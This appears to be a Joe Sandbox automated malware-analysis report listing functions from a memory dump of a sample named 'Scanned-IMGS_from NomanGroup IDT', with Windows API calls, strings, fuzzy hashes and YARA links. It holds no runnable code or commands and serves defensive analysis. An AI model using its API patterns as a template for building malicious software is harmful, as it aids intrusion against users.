API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: 4aa2170a06a737fade5b8d774eef323f7fc09b87b7b3a0707f89be2bbebe619e
Instruction ID: 7290082707a7812d903dcb7f91972aa8e2e59eee1e3ca41beea25bbd7d07a09f
Opcode Fuzzy Hash: 4aa2170a06a737fade5b8d774eef323f7fc09b87b7b3a0707f89be2bbebe619e
Instruction Fuzzy Hash: 40014F75A01758BBEB109BF69C89B5FBFB8EB48751F044066FA04AB281D6709801CFA4

Function 00451BC3 Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON

Download Yara Rule

APIs

MapVirtualKeyW.USER32(0000005B,00000000), ref: 00451BF4
MapVirtualKeyW.USER32(00000010,00000000), ref: 00451BFC
MapVirtualKeyW.USER32(000000A0,00000000), ref: 00451C07
MapVirtualKeyW.USER32(000000A1,00000000), ref: 00451C12
MapVirtualKeyW.USER32(00000011,00000000), ref: 00451C1A
MapVirtualKeyW.USER32(00000012,00000000), ref: 00451C22

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Virtual
String ID:
API String ID: 4278518827-0
Opcode ID: 64c0aad4e68872be469e67d010e2d855ce836ef3a67e0e5a36f264d09b142773
Instruction ID: bf17133333990eee6cb0e31be9d78ce8ee44074bd3921cb4c18ee1e3eb36fdb4
Opcode Fuzzy Hash: 64c0aad4e68872be469e67d010e2d855ce836ef3a67e0e5a36f264d09b142773
Instruction Fuzzy Hash: B60144B0902B5ABDE3008F6A8C85A52FFA8FF19354F00411BA15C4BA42C7B5A864CBE5

Function 004BEB20 Relevance: 9.0, APIs: 6, Instructions: 42windowtimethreadCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,00000000), ref: 004BEB30
SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 004BEB46
GetWindowThreadProcessId.USER32(?,?), ref: 004BEB55
OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 004BEB64
TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 004BEB6E
CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 004BEB75

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
String ID:
API String ID: 839392675-0
Opcode ID: dc5cdc088a92ba683a75fc83163239c4880033eafb86689e553f440ba918c52c
Instruction ID: 2b9b32f8369b4f63a042c406cc65a817a90dc9ecd6c714f1430b89b9a795a048
Opcode Fuzzy Hash: dc5cdc088a92ba683a75fc83163239c4880033eafb86689e553f440ba918c52c
Instruction Fuzzy Hash: C0F05472140198BFE72157629C8DEEF7E7CEFCAB11F000169FA01D5192D7A05A02CAB9

Function 004A7439 Relevance: 9.0, APIs: 6, Instructions: 37windowCOMMON

Download Yara Rule

APIs

GetClientRect.USER32(?), ref: 004A7452
SendMessageW.USER32(?,00001328,00000000,?), ref: 004A7469
GetWindowDC.USER32(?), ref: 004A7475
GetPixel.GDI32(00000000,?,?), ref: 004A7484
ReleaseDC.USER32(?,00000000), ref: 004A7496
GetSysColor.USER32(00000005), ref: 004A74B0

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: ClientColorMessagePixelRectReleaseSendWindow
String ID:
API String ID: 272304278-0
Opcode ID: e6cec01d4e7ba161fe7a0e14265194e2b51355243ae7effd8b4ba39dae5efd54
Instruction ID: baf15bcfb5f5b7c161e91159beba842a00e6ff84a9b861630623960c68a6ec6d
Opcode Fuzzy Hash: e6cec01d4e7ba161fe7a0e14265194e2b51355243ae7effd8b4ba39dae5efd54
Instruction Fuzzy Hash: E8018B31400255FFDB205F64DC88BAA7BB5FF18311F500165F926A61A2CB311E42AF59

Function 004B1874 Relevance: 9.0, APIs: 6, Instructions: 23memorysynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 004B187F
UnloadUserProfile.USERENV(?,?), ref: 004B188B
CloseHandle.KERNEL32(?), ref: 004B1894
CloseHandle.KERNEL32(?), ref: 004B189C
GetProcessHeap.KERNEL32(00000000,?), ref: 004B18A5
HeapFree.KERNEL32(00000000), ref: 004B18AC

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
String ID:
API String ID: 146765662-0
Opcode ID: 86be84aaa3148f7a7ca0c449e12fe4958467ea012c4fef8841f0814791c9fc53
Instruction ID: 5d87c4977c9e04f0a713b58718f9ae101553929b77fef8728e9e6116b8e17dad
Opcode Fuzzy Hash: 86be84aaa3148f7a7ca0c449e12fe4958467ea012c4fef8841f0814791c9fc53
Instruction Fuzzy Hash: 18E0ED36004141BBD7015FA1ED8C905FF39FF4A7217108630F62589072CB325422DF54

Function 0045BBE0 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 232COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 0045BEB3

Strings

D%R, xrefs: 0045BE9A
D%R, xrefs: 0045BCA2
D%R, xrefs: 0045BDED, 0045BD91, 0045BD1B
D%RD%R, xrefs: 0045BCA5

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Init_thread_footer
String ID: D%R$D%R$D%R$D%RD%R
API String ID: 1385522511-3290291051
Opcode ID: 9d93eb0a436818ed5be7271c2ff501989c9b45578d96020dcfe4bbcf70e9fe7e
Instruction ID: a88f6e3af3835db5cc2c54c0d286b001947133f112c2154567dd44be0d5379e0
Opcode Fuzzy Hash: 9d93eb0a436818ed5be7271c2ff501989c9b45578d96020dcfe4bbcf70e9fe7e
Instruction Fuzzy Hash: 42918B75A0020ADFCB14CF58C0916AAB7F1FF59311F24816ED941AB352D739AD8ACBD8

Function 004D7B7E Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 230COMMON

Download Yara Rule

APIs

Part of subcall function 00470242: EnterCriticalSection.KERNEL32(0052070C,00521884,?,?,0046198B,00522518,?,?,?,004512F9,00000000), ref: 0047024D
Part of subcall function 00470242: LeaveCriticalSection.KERNEL32(0052070C,?,0046198B,00522518,?,?,?,004512F9,00000000), ref: 0047028A

Part of subcall function 00459CB3: _wcslen.LIBCMT ref: 00459CBD

Part of subcall function 004700A3: __onexit.LIBCMT ref: 004700A9

__Init_thread_footer.LIBCMT ref: 004D7BFB

Part of subcall function 004701F8: EnterCriticalSection.KERNEL32(0052070C,?,?,00468747,00522514), ref: 00470202
Part of subcall function 004701F8: LeaveCriticalSection.KERNEL32(0052070C,?,00468747,00522514), ref: 00470235

Strings

+TJ, xrefs: 004D7E2E
5, xrefs: 004D7C78
Variable must be of type 'Object'., xrefs: 004D7C3A
G, xrefs: 004D7C7F

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer__onexit_wcslen
String ID: +TJ$5$G$Variable must be of type 'Object'.
API String ID: 535116098-1441542163
Opcode ID: d1d0e8ee933574582eb650a9dfefe8c6db0af9a1b5179e789dfc122dd1515db8
Instruction ID: a61a0fc5c6901a662c878f4d8a59e5a8536b6b02a47f5ec6e049141e2b55d668
Opcode Fuzzy Hash: d1d0e8ee933574582eb650a9dfefe8c6db0af9a1b5179e789dfc122dd1515db8
Instruction Fuzzy Hash: 50919D74604208EFCB14EF55D8A19AEB7B2BF45304F10804FF8066B392EB39AE45CB59

Function 004BC5D0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 191windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00457620: _wcslen.LIBCMT ref: 00457625

GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 004BC6EE
_wcslen.LIBCMT ref: 004BC735
SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 004BC79C
SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 004BC7CA

Strings

0, xrefs: 004BC6AF

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: ItemMenu$Info_wcslen$Default
String ID: 0
API String ID: 1227352736-4108050209
Opcode ID: 699ceab218fcabd43d0bdcf1d31b2f6bfc51f77265f3ae9a0522dccb18254153
Instruction ID: 811071f5047ddb328ba0b11cdc7ae0b4d393c385adea325370aaa08bb6a2c11b
Opcode Fuzzy Hash: 699ceab218fcabd43d0bdcf1d31b2f6bfc51f77265f3ae9a0522dccb18254153
Instruction Fuzzy Hash: 1351EF716043029BD7109F29C8C5BAB77E8AF99314F040A2FF995D3291DB68D808DB6A

Function 004DAD64 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 176COMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(0000003C), ref: 004DAEA3

Part of subcall function 00457620: _wcslen.LIBCMT ref: 00457625

GetProcessId.KERNEL32(00000000), ref: 004DAF38
CloseHandle.KERNEL32(00000000), ref: 004DAF67

Strings

@, xrefs: 004DAE72
<, xrefs: 004DAE6B

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: CloseExecuteHandleProcessShell_wcslen
String ID: <$@
API String ID: 146682121-1426351568
Opcode ID: 74583219d4ebacf7c09af65d6a129727f3f3590c4f9d2c37db4313b33ea0f859
Instruction ID: c39075906de9554c2ede8b46c300d85fb358502159652f4085cd7375f6312a97
Opcode Fuzzy Hash: 74583219d4ebacf7c09af65d6a129727f3f3590c4f9d2c37db4313b33ea0f859
Instruction Fuzzy Hash: 9C717A71A00218DFCB14DF55C494A9EBBF1BF08318F0484AEE856AB392D778ED45CB99

Function 004B719E Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 120comlibraryloaderCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 004B7206
SetErrorMode.KERNEL32(00000001,?,?,?,?,?,?,?,?,?), ref: 004B723C
GetProcAddress.KERNEL32(?,DllGetClassObject), ref: 004B724D
SetErrorMode.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 004B72CF

Strings

DllGetClassObject, xrefs: 004B7242

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: ErrorMode$AddressCreateInstanceProc
String ID: DllGetClassObject
API String ID: 753597075-1075368562
Opcode ID: 14bee8ff27f72fe658cc14af042c1a0d9e645e7db99ee2bcd211a2d8accd0f4f
Instruction ID: 08bb449fff92b4b97e30436468f1c0ad59709b8d9758a849e391482b4613c6a0
Opcode Fuzzy Hash: 14bee8ff27f72fe658cc14af042c1a0d9e645e7db99ee2bcd211a2d8accd0f4f
Instruction Fuzzy Hash: 6A416071A042049FDB19CF64C8C4ADA7BA9EF84314F1480AEFD059F24AD7B8DA45DBB4

Function 004E3D7C Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 004E3E35
IsMenu.USER32(?), ref: 004E3E4A
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 004E3E92
DrawMenuBar.USER32 ref: 004E3EA5

Strings

0, xrefs: 004E3D89

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Menu$Item$DrawInfoInsert
String ID: 0
API String ID: 3076010158-4108050209
Opcode ID: ea5bdbecbfd5be987b5875ee04169467b03eff64d457b85b04aa0f3cdd4b1a50
Instruction ID: df079b39a80dba305d7c422e3f8ce8b7afe468bed9bb8d93750dfdfd54887ca3
Opcode Fuzzy Hash: ea5bdbecbfd5be987b5875ee04169467b03eff64d457b85b04aa0f3cdd4b1a50
Instruction Fuzzy Hash: B3419A74A00249EFDB11DF55D888EAABBB5FF49352F04412AE801AB350C334AE45CF54

Function 004B1DE2 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 93windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00459CB3: _wcslen.LIBCMT ref: 00459CBD

Part of subcall function 004B3CA7: GetClassNameW.USER32(?,?,000000FF), ref: 004B3CCA

SendMessageW.USER32(?,00000188,00000000,00000000), ref: 004B1E66
SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 004B1E79
SendMessageW.USER32(?,00000189,?,00000000), ref: 004B1EA9

Part of subcall function 00456B57: _wcslen.LIBCMT ref: 00456B6A

Strings

ComboBox, xrefs: 004B1DF0
ListBox, xrefs: 004B1E25

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: MessageSend$_wcslen$ClassName
String ID: ComboBox$ListBox
API String ID: 2081771294-1403004172
Opcode ID: 0e907d4eb9f6edd4fd630adf3ad6fef206bdf8706652f1697fbe485712b9513f
Instruction ID: 29ae5983d59f8c8eff1cb95b91d2f8d5b20e3181e606a262d666a3bd0fdc81d5
Opcode Fuzzy Hash: 0e907d4eb9f6edd4fd630adf3ad6fef206bdf8706652f1697fbe485712b9513f
Instruction Fuzzy Hash: 56212671A00144AADB14ABA5DC95CFFBBB9EF41354B50412FFC11A72E2DB3C8D0A9638

Function 004DC9EA Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 91COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 004DC9F1
_wcslen.LIBCMT ref: 004DCA68
_wcslen.LIBCMT ref: 004DCA9E
_wcslen.LIBCMT ref: 004DCAF9
_wcslen.LIBCMT ref: 004DCB2F
_wcslen.LIBCMT ref: 004DCB7F

Strings

HKEY_LOCAL_MACHINE, xrefs: 004DCA62, 004DCA67
HKLM, xrefs: 004DCA98, 004DCA9D

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: _wcslen
String ID: HKEY_LOCAL_MACHINE$HKLM
API String ID: 176396367-4004644295
Opcode ID: 8477d459ce17ef054e3cb2b6426fc654ddf56e6647323442e76789de4644a013
Instruction ID: e6669fe26a4db1697de1e7b48ffc4a583b23b23c289d6760a2292d4674c607c8
Opcode Fuzzy Hash: 8477d459ce17ef054e3cb2b6426fc654ddf56e6647323442e76789de4644a013
Instruction Fuzzy Hash: 2D31F772A0016B8BCB20DE6D89E02BF37A15BA1794B05401BE8456B345E678CD84D3A8

Function 004E2F17 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78windowlibraryCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000467,00000000,?), ref: 004E2F8D
LoadLibraryW.KERNEL32(?), ref: 004E2F94
SendMessageW.USER32(?,00000467,00000000,00000000), ref: 004E2FA9
DestroyWindow.USER32(?), ref: 004E2FB1

Strings

SysAnimate32, xrefs: 004E2F68

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: MessageSend$DestroyLibraryLoadWindow
String ID: SysAnimate32
API String ID: 3529120543-1011021900
Opcode ID: 849049d0c7ec15f651841964812cd456d54ec8580d79f91ef56eae38e7181b0f
Instruction ID: e7856e802e3b23f4a36c8234e09159df32922829e39b2f19d5cfe6d893aee216
Opcode Fuzzy Hash: 849049d0c7ec15f651841964812cd456d54ec8580d79f91ef56eae38e7181b0f
Instruction Fuzzy Hash: 2321F371600285ABEB104F66DD80FBB37BDFF59329F10022AF910D6290D7B5DC51A768

Function 00474D6D Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,00474D1E,004828E9,?,00474CBE,004828E9,005188B8,0000000C,00474E15,004828E9,00000002), ref: 00474D8D
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00474DA0
FreeLibrary.KERNEL32(00000000,?,?,?,00474D1E,004828E9,?,00474CBE,004828E9,005188B8,0000000C,00474E15,004828E9,00000002,00000000), ref: 00474DC3

Strings

mscoree.dll, xrefs: 00474D86
CorExitProcess, xrefs: 00474D98

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: cf5a45ddad33a79fc863c7f1c7b6b8c73d56e1da3e7564f10386378fab467967
Instruction ID: 3ef788440981f6b8aea911efdcba22fa167630ef685cfca05edfb768fe5731b2
Opcode Fuzzy Hash: cf5a45ddad33a79fc863c7f1c7b6b8c73d56e1da3e7564f10386378fab467967
Instruction Fuzzy Hash: E7F04434540208BBDB115F90DC89BEEBFF5EF44752F0041A9F909A6251DB355941DA98

Function 00454E90 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,?,00454EDD,?,00521418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00454E9C
GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00454EAE
FreeLibrary.KERNEL32(00000000,?,?,00454EDD,?,00521418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00454EC0

Strings

Wow64DisableWow64FsRedirection, xrefs: 00454EA8
kernel32.dll, xrefs: 00454E94

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32.dll
API String ID: 145871493-3689287502
Opcode ID: f4e450fa4208dfaf72deff573a77bc24d99164436a025f67b42970810928f124
Instruction ID: 31f045f5be5f7d6e093344b38797d584aba256231469b0bdbaf916404625b50d
Opcode Fuzzy Hash: f4e450fa4208dfaf72deff573a77bc24d99164436a025f67b42970810928f124
Instruction Fuzzy Hash: C2E08635A016225B922117256C99B5BA654AFC2F677050126FC00DB206DB68CD4644A8

Function 00454E59 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,?,00493CDE,?,00521418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00454E62
GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00454E74
FreeLibrary.KERNEL32(00000000,?,?,00493CDE,?,00521418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00454E87

Strings

Wow64RevertWow64FsRedirection, xrefs: 00454E6E
kernel32.dll, xrefs: 00454E5B

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

